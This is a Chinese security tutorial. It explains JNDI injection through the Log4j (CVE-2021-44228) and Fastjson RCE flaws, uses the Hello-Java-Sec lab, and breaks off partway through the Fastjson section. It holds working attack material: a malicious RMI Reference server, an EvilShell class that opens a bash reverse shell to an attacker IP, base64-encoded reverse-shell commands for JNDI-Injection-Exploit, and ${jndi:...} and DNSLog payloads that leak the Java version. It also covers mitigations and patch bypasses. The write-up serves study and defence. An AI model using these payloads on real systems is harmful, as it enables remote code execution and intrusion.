从Log4j和Fastjson RCE漏洞认识jndi注入

news2024/11/27 13:33:11

文章目录

  • 前言
  • JNDI注入
    • 基础介绍
    • 靶场搭建
    • 漏洞验证
    • 注入工具
  • log4j RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • Fastjson RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • 总结

前言

接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。

JNDI注入

JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。

基础介绍

JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。
imagepng
JNDI API 支持的相关协议信息如下:

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

RMI 协议

JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。

RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。

Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。
imagepng
JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
      // 所有方法必须抛出RemoteException
    public double add(double a, double b) throws RemoteException;
    public double subtract(double a, double b) throws RemoteException;

}

2、远程接口实现类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

    private int numberOfComputations;

    protected RemoteMath() throws RemoteException {
        numberOfComputations = 0;
    }

    @Override
    public double add(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = " + numberOfComputations);
        return (a+b);
    }

    @Override
    public double subtract(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = " + numberOfComputations);
        return (a-b);
    }
}

3、服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {
    public static void main(String[] args)  {
        public static String HOST = "127.0.0.1";
        public static int PORT = 8089;
        public static String RMI_PATH = "/math";
        public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            IRemoteMath remoteMath = new RemoteMath();  
            // 服务命名绑定        
            Registry registry = LocateRegistry.getRegistry();
            registry.bind(RMI_NAME, remoteMath);
            System.out.println("Math server ready");
        } catch (Exception e) {
            e.printStackTrace();
        }        
    }
}

上面例子中的 RMI 服务绑定是本地的类。

另外一种 RMI 服务端代码写法(下文 JNDI 实践的“漏洞验证”章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):

public class Main {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            String url = "http://192.168.0.120:8081/";
            // Reference 需要传入三个参数 (className,factory,factoryLocation)
            // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
            Reference reference = new Reference("evil", "EvilShell", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("getShell", referenceWrapper);
            System.out.println("Hello world!");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

其中 "http://192.168.0.120:8081/”为一个存放了恶意类 class 文件的 http 服务地址:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;

public class EvilShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:

  1. className:远程加载时所使用的类名;
  2. classFactory:加载的 class 中需要实例化类的名称;
  3. classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;

通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。

4、客户端代码

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

public class MathClient {
    public static void main(String[] args) {
        try { 
            // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/math
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8089);        
            // 从Registry中检索远程对象的存根/代理
            IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");
            // 调用远程对象的方法
            double addResult = remoteMath.add(5.0, 3.0);
            System.out.println("5.0 + 3.0 = " + addResult);
            double subResult = remoteMath.subtract(5.0, 3.0);
            System.out.println("5.0 - 3.0 = " + subResult);            
        }catch(Exception e) {
            e.printStackTrace();
        }            
    }
}

结果如下:
imagepng
客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:

import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;

public class testClient {
    public static void main(String[] args) throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        //Properties env = new Properties();
        //env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        //env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        // 创建初始化环境
        Context ctx = new InitialContext();
        // jndi的方式获取远程对象
        IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");
        //ctx.lookup("ldap://localhost:8088/EvilObj");
        // 调用远程对象的方法
        System.out.println(remoteMath.add(5.0, 3.0));
    }
}

JNDI注入

JNDI 注入指的是:

  1. 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
  2. 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。

JNDI 注入缺陷特征:

  1. 客户端的 lookup() 方法参数可控;
  2. 服务端在使用 Reference 时,classFactoryLocation 参数可控

上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行

JNDI 注入利用流程:

  1. 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
  2. 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
  4. 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
  5. 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;

imagepng
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。

靶场搭建

靶场环境:Hello-Java-Sec
JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java

   /**
     * lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。
     * lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
     * payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1
     * PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi
     */
    @ApiOperation(value = "vul:JNDI注入")
    @GetMapping("/vul")
    public String vul(String content) {
        log.info("[vul] JNDI注入:" + content);
        try {
            Context ctx = new InitialContext();
            ctx.lookup(content);
        } catch (Exception e) {
            log.warn("JNDI错误消息");
        }
        return "JNDI注入";
    }

自建 Docker 容器

Ubuntu 虚拟机中,创建 Dockerfile 文件如下:

# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]

在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest
 ---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai
 ---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5
 ---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
 ---> Running in 1739257a2432
Removing intermediate container 1739257a2432
 ---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar
 ---> a81924fb1a42
Step 5/6 : EXPOSE 8888
 ---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d
 ---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]
 ---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39
 ---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY                                                           TAG            IMAGE ID       CREATED          SIZE
docker-demo                                                          latest         31ddaf9657fd   36 seconds ago   729MB
……
test@ubuntu:~/Downloads/Hello-Java-Sec$

运行镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$ 
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID   IMAGE         COMMAND                  CREATED         STATUS         PORTS                                       NAMES
ef4178ffc31f   docker-demo   "java -jar /tmp/java…"   6 minutes ago   Up 6 minutes   0.0.0.0:8888->8888/tcp, :::8888->8888/tcp   dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
# 
# ps -ef|grep java
root           1       0 54 17:07 ?        00:00:16 java -jar /tmp/javasec1.11.jar
root          62      40  0 17:08 pts/0    00:00:00 grep java
# 

然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)……
imagepng
【More】
可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:

mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec

存在的问题:

在这里插入图片描述
解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:
imagepng
成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8(“1.8.0_111”),方便漏洞利用和复现):

test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon   93.4MB
Step 1/6 : FROM java:8
 ---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp
 ---> Using cache
 ---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar
 ---> 827b8c11311e
Step 4/6 : EXPOSE 8888
 ---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88
 ---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'
 ---> Running in 571fa29af378
Removing intermediate container 571fa29af378
 ---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]
 ---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6
 ---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS          PORTS                                   NAMES
65aba6a67d1d   javasec   "java -Djava.securit…"   44 seconds ago   Up 43 seconds   0.0.0.0:80->8888/tcp, :::80->8888/tcp   zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41589         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$

访问宿主机的 80 端口接口即可:
imagepng

漏洞验证

Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:
imagepng
Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            String url = "http://192.168.0.120:8081/";
            // Reference 需要传入三个参数 (className,factory,factoryLocation)
            // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
            Reference reference = new Reference("evil", "EvilShell", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("getShell", referenceWrapper);
            System.out.println("Hello world!");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

同时创建一个恶意 Java 类,用于“远程”加载后执行恶意代码:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;

public class EvilShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:
imagepng
在 Kali 攻击机(192.168.0.114)监听 6666 端口:
imagepng
IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:
imagepng
imagepng
成功加载远程恶意类,并反弹 shell:
imagepng
imagepng
【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?
直接试一下:
imagepng
注入失败:
imagepng

注入工具

JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit。

先对 Payload 进行 base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"

-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:
imagepng
imagepng
成功反弹 Shell 到 Kali 攻击机:
imagepng
显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。

log4j RCE

2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称“史诗级核弹漏洞”。

漏洞信息
漏洞名称Apache log4j 远程代码执行漏洞
漏洞编码CVE-2021-44228
漏洞危害严重
漏洞时间2021/12/10
受影响版本Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC已知
EXP已知

漏洞分析

Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:

<dependencies>
  <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
  </dependency>
  <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
  </dependency>
</dependencies>

IDEA 安全告警提示存在组件漏洞:
imagepng
本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。
imagepng
log4j 的 Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:

private static final Logger logger = (Logger) LogManager.getLogger();

public static void main(String[] args) {
    logger.error("Get: {}", "${java:os}");
    logger.error("${java:runtime}");
}

输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:
imagepng
而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:

logger.info("${jndi:rmi://127.0.0.1:1099/calc}");

imagepng
动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

     public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }

            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
          ...
        } else {
          ...
        }
    }

我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${ 则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime} 。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${ 就可以。

继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup
imagepng
可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。

可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup,可以看到 JNDI 注入的 sink 点:
imagepng

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java

@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {
    private static final Logger logger = LogManager.getLogger(Log4jVul.class);

    /**
     * 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
     * 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP
     *
     * content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}
     */
    @PostMapping(value = "/vul")
    public String vul(@RequestParam("q") String q) {
        System.out.println(q);
        logger.error(q);
        return "Log4j2 JNDI Injection";
    }
}

同样对 Payload 进行 Base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

接着一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
成功反弹 Shell:
imagepng
DNSLog 检测
建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。

${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}

imagepng
成功访问 DNS 服务器并获得目标服务器 java 版本信息:
imagepng
【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:
imagepng
imagepng

检测工具

发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞…Xray 社区版也是。

  1. https://github.com/whwlsfb/Log4j2Scan;
  2. https://github.com/fullhunt/log4j-scan;

可能靶场环境的问题??

建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng
imagepng
imagepng

补丁绕过

2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。

临时处置
言归正传,当时的部分临时处置方案如下:

  • 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
  • 修改配置文件 log4j2.formatMsgNoLookups=True;
  • 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
  • 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
  • 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;

安全补丁
在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。

JndiManager.lookup 方法中对 JNDI 协议、主机名、类名进行了白名单校验:
imagepng
但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞
imagepng

【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta’s Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。

Fastjson RCE

前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。

漏洞分析

Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。

Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。

JSON.toJSONString
JSON.parseObject 或者 JSON.parse

来看看具体如何使用,先给自己的 Maven 项目添加依赖:

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.47</version>
</dependency>

对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:

package com.tr0e.sec.Entity;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {

    private String name;

    private int age;
}

接着看下 Fastjson 的序列化和反序列化的示例代码:

        //创建一个Java Bean对象
        Person person = new Person();
        person.setName("Tr0e");
        person.setAge(18);

        System.out.println("--------------序列化-------------");
        //将其序列化为JSON
        String JSON_Serialize = JSON.toJSONString(person);
        System.out.println(JSON_Serialize);

        System.out.println("-------------反序列化-------------");
        //使用parse方法,将JSON反序列化为一个JSONObject
        Object o1 =  JSON.parse(JSON_Serialize);
        System.out.println(o1.getClass().getName());
        System.out.println(o1);

        System.out.println("-------------反序列化-------------");
        //使用parseObject方法,将JSON反序列化为一个JSONObject
        Object o2 = JSON.parseObject(JSON_Serialize);
        System.out.println(o2.getClass().getName());
        System.out.println(o2);

        System.out.println("-------------反序列化-------------");
        //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
        Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
        System.out.println(o3.getClass().getName());
        System.out.println(o3);

输出结果如下所示:

--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
